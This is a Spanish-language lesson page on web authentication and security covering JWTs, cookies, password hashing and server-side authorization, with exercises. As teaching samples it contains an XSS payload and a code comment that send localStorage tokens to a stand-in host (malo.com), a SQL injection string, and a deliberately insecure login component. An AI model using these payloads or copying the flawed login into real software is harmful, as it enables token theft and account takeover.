Autenticación y Seguridad Web
Volver a clases
Backend Development●●Intermedio

Autenticación y Seguridad Web

120 min

Cómo un servidor sin memoria sabe quién eres, dónde se guarda un token y por qué el frontend nunca es la frontera de seguridad.

Etiquetas

#autenticacion#seguridad#jwt

El problema: un servidor sin memoria

En la clase de HTTP viste que el protocolo es stateless: cada petición llega sin saber nada de las anteriores. El servidor no "recuerda" que iniciaste sesión hace dos minutos.

Toda la autenticación existe para resolver esa amnesia: darle al cliente algo que pueda presentar en cada petición para demostrar quién es. Ese algo es una cookie de sesión o un token. Nada más.

Dos palabras que no son sinónimos

  • Autenticación¿quién eres? Es el login. Falla con 401.
  • Autorización¿qué puedes hacer? Son los permisos. Falla con 403.

Confundirlas produce bugs concretos: si respondes 401 cuando en realidad era un problema de permisos, tu app manda al login a alguien que ya inició sesión, en bucle. Si respondes 403 cuando el token expiró, el usuario ve "no tienes permiso" y no entiende que solo debía volver a entrar.

Las dos estrategias

Sesión con cookie. El servidor guarda la sesión de su lado y le da al navegador una cookie con un identificador. El navegador la manda sola en cada petición. Es el modelo clásico y sigue siendo excelente: el servidor puede revocar la sesión al instante.

Token (JWT). El servidor firma un token con los datos del usuario y se lo entrega; el cliente lo manda en el header Authorization. El servidor no guarda nada: le basta verificar la firma. Escala mejor y sirve para apps móviles y APIs de terceros, pero revocar es difícil: un token robado sigue siendo válido hasta que expira. Por eso se usan expiraciones cortas.

Lo que casi nadie sabe de los JWT

🚨 Un JWT no está cifrado. Está codificado en base64. Cualquiera que lo intercepte lee su contenido sin ninguna llave.

Pégalo en jwt.io y verás el payload en texto claro. La firma sirve para que nadie lo modifique (no puedes cambiar "rol": "usuario" por "admin" sin el secreto del servidor), pero no para que nadie lo lea.

De ahí la regla: nunca metas datos sensibles en un JWT. El id del usuario y su rol, sí. Su CURP, su dirección o su teléfono, no.

Contraseñas: lo único no negociable

Una contraseña jamás se guarda tal cual, ni siquiera "encriptada" de forma reversible. Se guarda su hash con un algoritmo diseñado para eso (bcrypt, argon2), que es de una sola vía: puedes verificar si una contraseña coincide, pero no recuperarla.

Por eso los servicios serios te dicen "te enviamos un link para restablecerla" y nunca "tu contraseña es X": es que no la tienen. Si alguna vez un sistema te manda tu contraseña original por correo, ya sabes que la guarda en texto plano.

La regla de oro

El frontend decide qué se muestra. El servidor decide qué se permite.

Esconder el botón de "Eliminar usuario" es experiencia de usuario. Impedir que se elimine es seguridad, y eso solo puede vivir en el servidor. Cualquiera puede abrir las DevTools, modificar tu estado, cambiar el localStorage o llamar directo a tu API con curl.

Es la misma advertencia de la clase de rutas protegidas, ahora con el fundamento completo: tu <RutaProtegida> mejora la experiencia; si tu API no valida quién pide los datos, tu aplicación es pública aunque la ruta esté "protegida".

Los cuatro ataques que sí te van a tocar

El cuarto snippet los resume, pero fíjate en cuántos ya conoces sin saberlo: XSS es el peligro del innerHTML que viste en el quiz de DOM; secretos expuestos es exactamente el .env commiteado del reto de Git, con la misma respuesta (rotar, no borrar). No son temas nuevos: son el nombre profesional de cosas con las que ya te tropezaste.

En tu proyecto

Si tu proyecto tiene login, la práctica de hoy te pide documentar y justificar tus decisiones, no implementarlas todas. Y si no tiene login, también sirve: la pregunta 5 ("tres cosas que un usuario no debería poder hacer aunque manipule el frontend") aplica a cualquier app, y es exactamente el tipo de pregunta que te voy a hacer en la defensa.

Ejemplos de Código

4 ejemplos

El flujo de login, de principio a fin

Quién hace qué, y qué viaja en cada paso.

text
11. Cliente  →  POST /api/login  { correo, password }
2               (sobre HTTPS; la contraseña viaja una sola vez)
3
42. Servidor →  busca al usuario y compara:
5               bcrypt.compare(password, usuario.passwordHash)
6               ↑ NUNCA compara texto plano; nunca guarda la original
7
83. Servidor →  200 OK
9               Set-Cookie: token=eyJ...; HttpOnly; Secure; SameSite=Lax
10               { "usuario": { "nombre": "Ana", "rol": "admin" } }
11               ↑ el rol se manda para PINTAR la UI, no para autorizar
12
134. Cliente  →  GET /api/admin/usuarios   (la cookie viaja sola)
14
155. Servidor →  valida la firma del token Y verifica el rol otra vez
16               403 si no es admin  ← aquí vive la seguridad real

Anatomía de un JWT (no está cifrado)

Tres partes en base64 separadas por puntos. Cualquiera lee las dos primeras.

text
1eyJhbGciOiJIUzI1NiJ9 . eyJzdWIiOiI0MiIsInJvbCI6ImFkbWluIn0 . 4pcPyMD0
2└──── header ────┘   └──────── payload ────────┘   └ firma ┘
3
4header  → { "alg": "HS256" }                 qué algoritmo firma
5payload → { "sub": "42", "rol": "admin" }    los datos  ← LEGIBLE POR TODOS
6firma   → HMAC(header + payload, SECRETO)    solo el servidor puede generarla
7
8• La firma impide MODIFICARLO, no LEERLO.
9• Sin el secreto no puedes cambiar "rol" a "admin" y que el servidor lo acepte.
10• Por eso: nada sensible en el payload. Nunca.

Dónde guardar el token — el compromiso

No hay opción perfecta; hay una decisión que debes poder defender.

javascript
1// Opción A — localStorage
2localStorage.setItem("token", token);
3// ✅ simple, sirve con APIs en otro dominio
4// ❌ cualquier XSS lo lee:  fetch('http://malo.com?t=' + localStorage.token)
5
6// Opción B — cookie httpOnly (la pone el SERVIDOR, no tu JS)
7// Set-Cookie: token=...; HttpOnly; Secure; SameSite=Lax
8// ✅ document.cookie NO puede leerla → un XSS no la roba
9// ❌ viaja sola en cada petición → protege contra CSRF con SameSite
10
11// Regla práctica: si puedes usar cookie httpOnly, úsala.

Los cuatro ataques que sí te van a tocar

De todo OWASP, estos son los que aparecen en proyectos como el tuyo.

text
1XSS (Cross-Site Scripting)
2  Inyectar JS en tu página vía datos del usuario.
3  Defensa: React escapa por defecto. No uses innerHTML ni
4  dangerouslySetInnerHTML con datos de usuario.
5
6Inyección (SQL y similares)
7  Mandar código dentro de un dato:  nombre = "'; DROP TABLE users;--"
8  Defensa: consultas parametrizadas en el servidor. Nunca concatenar.
9
10CSRF (Cross-Site Request Forgery)
11  Otro sitio hace que tu navegador dispare una petición con tu sesión.
12  Defensa: SameSite en la cookie + token anti-CSRF.
13
14Secretos expuestos
15  Llaves en el repo o en el bundle del frontend.
16  Defensa: .gitignore desde el primer commit, secretos solo en el
17  servidor. Si se filtró: ROTAR, no borrar.

Recursos

4 recursos disponibles

¡Hora de Practicar!

PrácticaIntermedio35 min🟡 IA con bitácora

Práctica Guiada — Diseña el login de tu proyecto

No implementarlo completo; decidirlo y justificarlo.

Sobre tu proyecto integrador, documenta y justifica estas decisiones (media cuartilla):

  1. ¿Tu proyecto necesita autenticación? Si no la necesita, explica por qué y termina aquí — no todo proyecto la requiere.
  2. Si sí: ¿sesión con cookie o token? Justifica con el compromiso XSS/CSRF visto en clase.
  3. ¿Qué información del usuario guardas en el cliente y cuál nunca sale del servidor?
  4. ¿Qué pasa cuando el token expira mientras el usuario está usando la app?
  5. Lista tres cosas de tu app que un usuario no debería poder hacer aunque manipule el frontend con las DevTools. ¿Quién las impide?

Entrega: el documento en tu repo (SEGURIDAD.md) y un commit que lo agregue.

Desafío de Código

EjercicioIntermedio25 min🔴 Sin IA

Ejercicios — ¿Autenticación o autorización?

Clasificar bien el problema es la mitad de resolverlo.

Para cada caso di si es un fallo de autenticación (401), de autorización (403) o de otra cosa, y qué debería hacer el frontend:

  1. El token expiró mientras el usuario llenaba un formulario.
  2. Un usuario normal escribe a mano la URL /admin en el navegador.
  3. El usuario intenta editar un comentario que escribió otra persona.
  4. Alguien llama a tu API sin ningún header Authorization.
  5. El usuario borró las cookies del navegador y recargó.
  6. Un becario del equipo pide /api/nomina y sí tiene sesión válida.

Después: para el caso 2, ¿basta con esconder el enlace de "Admin" del menú? Justifica.

Reto de Lectura

Reto de LecturaIntermedio35 min🔴 Sin IA

Reto de Lectura — El login que parece seguro

Este login funciona y tiene cinco fallas de seguridad, dos de ellas suficientes para comprometer toda la aplicación. Encuéntralas.

Este código de login fue generado por una IA y "funciona": el usuario entra, ve su nombre y el panel de administración aparece solo si es admin. Encuentra las 5 fallas de seguridad y ordénalas de más grave a menos.

jsx
1const API_KEY = "sk_live_51H8xY2eZvKYlo2C";   // (1)
2
3function Login() {
4  const [usuarios, setUsuarios] = useState([]);
5  const navigate = useNavigate();
6
7  useEffect(() => {
8    fetch(`/api/usuarios?key=${API_KEY}`)
9      .then((r) => r.json())
10      .then(setUsuarios);                      // (2)
11  }, []);
12
13  function entrar(correo, password) {
14    const u = usuarios.find(
15      (x) => x.correo === correo && x.password === password   // (3)
16    );
17    if (!u) return alert("Credenciales incorrectas");
18
19    localStorage.setItem("token", u.token);    // (4)
20    navigate("/dashboard");
21  }
22  // ...
23}
24
25function Dashboard() {
26  const token = localStorage.getItem("token");
27  const datos = JSON.parse(atob(token.split(".")[1]));   // (5)
28
29  return (
30    <div>
31      <div dangerouslySetInnerHTML={{ __html: `Hola ${datos.nombre}` }} />
32      {datos.rol === "admin" && <PanelAdministracion />}   {/* (6) */}
33    </div>
34  );
35}

Preguntas:

  1. ¿Qué obtiene un atacante que solo abre las DevTools y mira la pestaña Network?
  2. ¿Dónde se está comparando la contraseña y por qué es catastrófico?
  3. El token se decodifica con atob sin ninguna llave. ¿Qué te dice eso sobre un JWT?
  4. ¿Puede un usuario normal ver el PanelAdministracion? ¿Cómo?
  5. Si datos.nombre fuera <img src=x onerror="fetch('http://malo.com?c='+localStorage.token)">, ¿qué pasaría?

Documentación Oficial

DocumentaciónPrincipiante15 min

Documentación de apoyo

Para profundizar y para consultar en el proyecto.